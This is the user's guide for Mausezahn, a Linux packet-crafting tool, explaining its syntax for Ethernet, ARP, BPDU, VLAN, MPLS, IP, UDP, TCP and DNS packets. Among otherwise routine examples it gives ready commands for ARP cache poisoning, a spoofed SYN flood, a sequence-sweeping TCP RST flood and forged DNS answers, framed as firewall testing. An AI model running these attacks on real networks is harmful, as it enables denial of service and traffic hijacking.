Mausezahn User's Guide

Author: Herbert Haas
Address: herbert AT perihel DOT at
http://www.perihel.at/sec/mz
Revision: 0.20
Date: 2008-05-15

Contents

1 What is Mausezahn?

Mausezahn is a **fast traffic generator** written in C which allows you to send nearly every possible and impossible packet. Mausezahn can be used for example

- As traffic generator (e. g. to stress multicast networks)
- For penetration testing of firewalls and IDS
- For DoS attacks on networks (for audit purposes of course)
- To find bugs in network software or appliances
- For reconnaissance attacks using ping sweeps and port scans
- To test network behaviour under strange circumstances (stress test, malformed packets, ...)
- As didactical tool during lab exercises

...and more. Mausezahn is basically a versatile packet creation tool on the command line with a simple syntax and online help. It could also be used within (bash-) scripts to perform combination of tests.

Currently Mausezahn is only available for Linux platforms. There will be also a Windows version soon(er or later).

2 Disclaimer and License

Mausezahn is basically a traffic generator as well as a network and firewall testing tool. Don't use this tool when you are not aware of its consequences or have only little knowledge about networks and data communication. If you abuse Mausezahn for unallowed attacks and get caught, or damage something of your own, then this is completely your fault.

Mausezahn (C)2008 by Herbert Haas is a (currently) closed source but free software. That is you can download and share it for free. If you make Mausezahn part of any software distribution or similar bundle you are required to include this license and disclaimer notes.

Update: Since version 0.33 Mausezahn is licensed under GPLv2.

3 Basics

3.1 How to specify hex digits

Many arguments allow direct byte input. Bytes are represented as two hexadecimal digits. Multiple bytes must be separated either by spaces, colons, or dashes -- whatever you prefer. The following byte strings are equivalent:

```
"aa:bb cc-dd-ee ff 01 02 03-04 05"

"aa bb cc dd ee ff:01:02:03:04 05"
```

3.2 Basic operations

The basic syntax on the command line is explained when you execute Mausezahn without arguments.

Note: Don't forget that on the CLI the Linux shell (usually the Bash) interpretes spaces as a delimiter character. That is, if you are specifying an argument that consists of multiple words with spaces inbetween, you MUST group this with quotes. For example, instead of

```
# mz eth0 -t udp sp=1, dp=80, p=00:11:22:33
```

you could either omit the spaces

```
# mz eth0 -t udp sp=1,dp=80,p=00:11:22:33
```

or, even more safe, use quotes:

```
# mz eth0 -t udp "sp=1, dp=80, p=00:11:22:33"
```

In order to monitor what's going on you can enable the **verbose** mode using the **-v** option. The opposite is the quiet mode (**-q**) which will keep Mausezahn absolutely quiet (except for error messages and warnings.)

Don't confuse the payload argument `p=...` with the **padding option** `-p`. The latter is used *outside* the quotes!

3.3 The automatic packet builder

An important argument is "-t" which invokes a packet builder. Currently there are packet builders for ARP, BPDU, IP, partly ICMP, UDP, and TCP. (Additionally you can insert a VLAN tag or a MPLS label stack but this works independent of the packet builder.)

You get context specific help of every packet builder using the **help** keyword, such as:

```
# mz -t bpdu help
# mz -t tcp help
```

For every packet you may specify an optional payload. This can be done either via HEX notation using the **payload** (or short **p**) *argument* or directly as ASCII text using the **-P** *option*:

```
mz eth0 -t ip -P "Hello World"                              # ASCII payload
mz eth0 -t ip p=68:65:6c:6c:6f:20:77:6f:72:6c:64            # hex payload
mz eth0 -t ip "proto=89,                                 \
               p=68:65:6c:6c:6f:20:77:6f:72:6c:64, \        # same with other
               ttl=1"                                       # IP arguments
```

Note: The raw link access mode only accepts hex payloads (because you specify *everything* in hex here.)

3.4 Packet count and delay

Per default only one packet is sent. If you want to send more packets then use the count option **-c <count>**. When count is zero then Mausezahn will send forever.

Per default Mausezahn sends at maximum speed (and this is *really* fast ;-)). If you don't want to overwhelm your network devices or have other reasons to send at a slower rate then you might want to specify a **delay** using the **-d <delay>** option.

If you only specify a numeric value it is interpreted in microsecond units. Alternatively, for easier use, you might specify units such as seconds **sec** or milliseconds **msec**. (You can also abbreviate this with **s** or **m**.)

Note: Don't use spaces between the value and the unit!

Here are typical examples:

Send infinite frames as fast as possible:

```
# mz eth0 -c 0  "aa bb cc dd ...."
```

Send 100,000 frames with a 50 msec interval:

```
# mz eth0 -c 100000  -d 50msec "aa bb cc dd ...."
```

Send infinite BPDU frames in a 2 second interval:

```
# mz eth0 -c 0 -d 2s -t bpdu conf
```

Note: Currently Mausezahn does not support fractional numbers. If you want to specify for example 2.5 seconds then express this e. g. in milliseconds (2500 msec).

3.5 Optional address modifications

You can always specify source and/or destination MAC addresses using the **-a** and **-b** options, respectively. These options also allow keywords such as **rand**, **own**, **bpdu**, **cisco**, and others.

Similarily you can specify source and destination IP addresses using the **-A** and **-B** options, respectively. These options also support **FQDNs** (i. e. domain names) and **ranges** such as 192.168.0.0/24 or 10.0.0.11-10.0.3.22. Additionally (only) the source address supports the **rand** keyword (ideal for attacks).

Note: When you use the packet builder for IP-based packets (e. g. UDP or TCP) then Mausezahn automatically cares about correct MAC and IP addresses (i. e. it performs ARP, DHCP, and DNS for you). But when you specify at least a single link-layer address (or any other L2 option such as a VLAN tag or MPLS header) then ARP is disabled and you must care for the Ethernet destination address for yourself.

4 Layer-2

4.1 Direct link access

Mausezahn allows you to send **ANY** chain of bytes directly through your Ethernet interface:

```
# mz eth0 "ff:ff:ff:ff:ff:ff ff:ff:ff:ff:ff:ff 00:00 ca:fe:ba:be"
```

This way you can craft every packet you want but you must do it by hand.

Note: On WiFi interfaces the header is much more complicated and automatically created by the WiFi-driver. I plan to add 'direct WiFi access' as another option soon(er or later).

As example to introduce some interesting options, lets continuously send frames at max speed with random source MAC address and broadcast destination address, additionally pad the frame to 1000 bytes:

```
# mz eth0 -c 0 -a rand -b bcast -p 1000 "08 00 aa bb cc dd"
```

The direct link access supports automatic **padding** using the **-p <total frame length>** option. This allows you to pad a raw L2 frame to the desired length. You must specify the **total** length and the total frame length must have at least 15 bytes for technical reasons. Zero bytes are used for this padding.

4.2 ARP

Mausezahn provides a simple interface to the ARP packet. You can specify the ARP method (request|reply) and up to four arguments: **sendermac**, **targetmac**, **senderip**, **targetip**, or short **smac**, **tmac**, **sip**, **tip**.

By default an ARP reply is sent with your own interface addresses as source MAC and IP address, and a broadcast destination MAC/IP address.

Send a gratitious ARP (as used for duplicate IP detection):

```
mz eth0 -t arp
```

ARP cache poisoning:

```
mz eth0 -t arp "reply, senderip=192.168.0.1, targetmac=00:00:0c:01:02:03, \
                targetip=172.16.1.50"
```

where by default your interface MAC address will be used as *sendermac*, *senderip* denotes the spoofed IP, *targetmac* and *targetip* identifies the receiver.

By default the **Ethernet** source address is your interface MAC and the destination address is broadcast. Of course you can change this using again the flags **-a** and **-b**.

4.3 BPDU

Mausezahn provides a simple interface to the 802.1d BPDU frame format (used to create the Spanning Tree in bridged networks).

By default standard IEEE 802.1d (CST) BPDUs are sent and it is assumed that your computer wants to become the root bridge (rid=bid).

Optionally the 802.3 destination address can be a specified MAC address, broadcast, own MAC, or Cisco's PVST+ MAC address. The destination MAC can be specified using the -b command which (besides MAC addresses) accepts keywords such as **bcast**, **own**, **pvst**, or **stp** (default).

Since version 0.16 **PVST+** is supported. Simply specify the VLAN for which you want to send a BPDU:

```
mz eth0 -t bpdu "vlan=123, rid=2000"
```

See `mz -t bpdu help` for more details.

4.4 802.1Q VLAN Tags

Mausezahn allows simple VLAN tagging for IP (and other higher layer) packets. Simply use the option **-Q <[CoS:]VLAN>**, such as `-Q 10` or `-Q 3:921`. By default CoS=0.

For example send a TCP packet in VLAN 500 using CoS=7:

```
mz eth0 -t tcp -Q 7:500 "dp=80, flags=rst, p=aa:aa:aa"
```

You can create as many VLAN tags as you want! This is interesting to create **QinQ** encapsulations or **VLAN hopping**:

```
# Send this UDP packet with VLAN tags 100 (outer) and 651 (inner)
mz eth0 -t udp "dp=8888, sp=13442" -P "Mausezahn is great" -Q 100,651

# Don't know if this is useful anywhere but at least it is possible:
mz eth0 -t udp "dp=8888, sp=13442" -P "Mausezahn is great"  \
        -Q 6:5,7:732,5:331,5,6

# Mix it with MPLS:
mz eth0 -t udp "dp=8888, sp=13442" -P "Mausezahn is great" -Q 100,651 -M
```

Only in **raw Layer 2 mode** you must create the VLAN tag completely by yourself. For example if you want to send a frame in VLAN 5 using CoS 0 simply specify `81:00` as type field and for the next two bytes the CoS (, CFI) and VLAN values:

```
mz eth0 -b bc -a rand "81:00 00:05 08:00 aa-aa-aa-aa-aa-aa-aa-aa-aa-aa"
```

4.5 MPLS labels

Mausezahn allows you to insert one or more MPLS headers. Simply use the option **-M <label:CoS:TTL:BoS>** where only the **label** is mandatory. If you specify a second number it is interpreted as the **experimental** bits (the **CoS** usually). If you specify a third number it is interpreted as TTL. Per default the TTL is set to 255.

The **Bottom of Stack** flag is set automatically (otherwise the frame would be invalid) but if you want you can also set or unset it using the **S** (set) and **s** (unset) argument. Note that the BoS must be the **last** argument in each MPLS header definition.

Here are some examples:

```
# Use MPLS label 214
mz eth0 -M 214 -t tcp "dp=80" -P "HTTP..." -B myhost.com

# Use three labels (the 214 is now the outer)
mz eth0 -M 9999,51,214 -t tcp "dp=80" -P "HTTP..." -B myhost.com

# Use two labels, one with CoS=5 and TTL=1, the other with CoS=7
mz eth0 -M 100:5:1,500:7 -t tcp "dp=80" -P "HTTP..." -B myhost.com

# Unset the BoS flag (which will result in an invalid frame)
mz eth0 -M 214:s -t tcp "dp=80" -P "HTTP..." -B myhost.com
```

5 Layer 3-7

IP, UDP, and TCP packets can be padded using the `-p` option. Currently **0x42** is used as padding byte ('the answer'). You cannot pad DNS packets (would be useless anyway).

5.1 IP

Mausezahn allows you to send any (malformed or correct) IP packet. Every field in the IP header can be manipulated.

The IP addresses can be specified via the **-A** and **-B** options, denoting the source and destination address, respectively. You can also specify an address range or a host name (FQDN). Additionally, the source address can also be random.

By default the source address is your interface IP address and the destination address is a broadcast.

Here are some examples:

```
# ascii payload:
mz eth0 -t ip -A rand -B 192.168.1.0/24  -P "hello world"

# hex payload:
mz eth0 -t ip -A 10.1.0.1-10.1.255.254 -B 255.255.255.255 p=ca:fe:ba:be

# will use correct source IP address:
mz eth0 -t ip -B www.xyz.com
```

The **Type of Service (ToS)** byte can either be specified directly by two hexadecimal digits (which means you can also easily set the Explicit Congestion Notification (ECN) bits (LSB 1 and 2) or you may only want to specify a common **DSCP value** (bits 3-8) using a decimal number (0..63):

```
# Packet sent with DSCP = Expedited Forwarding (EF):
mz eth0 -t ip dscp=46,ttl=1,proto=1,p=08:00:5a:a2:de:ad:be:af
```

If you leave the **checksum** zero (or unspecified) the correct checksum will be automatically computed. Note that you can only use a wrong checksum when you also specify at least one L2 field manually (because then the packet is not sent through the kernel).

5.2 UDP

Mausezahn support easy UDP datagram generation. Simply specify the destination address (**-B** option) and optionally an arbitrary source address (**-A** option) and as arguments you may specify the port numbers using the **dp** (destination port) and **sp** (source port) arguments and a payload.

You can also easily specify a whole port range which will result in sending multiple packets. Here are some examples:

Send test packets to the RTP port range:

```
mz eth0 -B 192.168.1.1 -t udp "dp=16384-32767, p=A1:00:CC:00:00:AB:CD:EE:EE:DD:DD:00"
```

Send a DNS request as local broadcast (often the local router replies):

```
mz eth0 -t udp "dp=53, p=c5-2f-01-00-00-01-00-00-00-00-00-00-03-77-77-77-03-
78-79-7a-03-63-6f-6d-00-00-01-00-01"
```

Additionally you may specify the lenght and checksum using the **len** and **sum** arguments (will be set correctly by default).

Note Several protocols have same arguments such as **len** (length) and **sum** (checksum). If you specified a udp type packet (via **-t udp**) and want to modify the IP length, then use the alternate keyword **iplen** and **ipsum**. Also note that you must specify at least one L2 field which tells Mausezahn to build everything without help of your kernel (the kernel would not allow to modify the IP checksum and the IP length).

5.3 ICMP

Mausezahn currently only supports ICMP Redirect packets.

Additional ICMP types will be supported in future. Currently you would need to taylor them by your own, e. g. using the IP packet builder (setting proto=1).

Use the **mz -t icmp help** for help on actually implemented options.

5.4 TCP

Mausezahn allows you to easily taylor any TCP packet. Similar as with UDP you can specify source and destination port (ranges) using the **sp** and **dp** arguments.

Then you can directly specify the desired **flags** using an "|" as delimiter if you want to specify multiple flags. For example, a SYN-Flood attack against host 1.1.1.1 using a random source IP address and periodically using all 1023 well-known ports could be created via:

```
mz eth0 -A rand -B 1.1.1.1 -c 0 -t tcp "dp=1-1023, flags=syn"  \
        -P "Good morning! This is a SYN Flood Attack.          \
            We apologize for any inconvenience."
```

Be careful with such SYN floods and only use them for firewall testing. Check your legal position!

Remember that a host with an open TCP session only accepts packets with correct socket information (addresses and ports) and a valid TCP sequence number (SQNR). If you want to try a DoS attack by sending a RST-flood and you do NOT know the target's initial SQNR (which is normally the case) then you may want to sweep through a range of sequence numbers:

```
mz eth0 -A legal.host.com -B target.host.com -t tcp "sp=80,dp=80,s=1-4294967295"
```

Fortunately the SQNR must match the target host's acknowledgement number plus the announced window size. Since the typical window size is something between 40000 and 65535 you are MUCH quicker when using an increment using the **ds** argument:

```
mz eth0 -A legal.host.com -B target.host.com \
        -t tcp "sp=80, dp=80, s=1-4294967295, ds=40000"
```

In the latter case Mausezahn will only send 107375 packets instead of 4294967295 (which results in a duration of approximately 1 second compared to 11 hours!).

Of course you can taylor any TCP packet you like. In future Mausezahn may support an automatic 3-way handshake.

As with other L4 protocols Mausezahn builds a correct IP header but you can additionally access every field in the IP packet (also in the Ethernet frame).

5.5 DNS

Mausezahn supports UDP-based DNS requests or responses. Typically you may want to send a **query** or an **answer**. As usual you can modify every flag in the header. Here is an example of a simple query:

```
./mz eth0 -B mydns-server.com -t dns "q=www.ibm.com"
```

You can also create server-type messages:

```
./mz eth0 -A spoofed.dns-server.com -B target.host.com \
                   "q=www.topsecret.com, a=172.16.1.1"
```

The syntax according to the online help (**-t dns help**) is:

```
query|q = <name>[:<type>]  ............. where type is per default "A"
                                         (and class is always "IN")

answer|a = [<type>:<ttl>:]<rdata> ...... ttl is per default 0.
         = [<type>:<ttl>:]<rdata>/[<type>:<ttl>:]<rdata>/...
```

Note: If you only use the 'query' option then a query is sent. If you additonally add an 'answer' then an answer is sent.

Examples:

```
q = www.xyz.com
q = www.xyz.com, a=192.168.1.10
q = www.xyz.com, a=A:3600:192.168.1.10
q = www.xyz.com, a=CNAME:3600:abc.com/A:3600:192.168.1.10
```

Please try out `mz -t dns help` to see the many other optional command line options.

6 Dear fans

Mausezahn is still under heavy development and you may expect new features very soon.

Please report to *herbert AT perihel DOT at* regarding:

- Bugs
- Important features you miss
- How you used Mausezahn
- Interesting observations with Mausezahn at the network

Also consider a donation. ;-)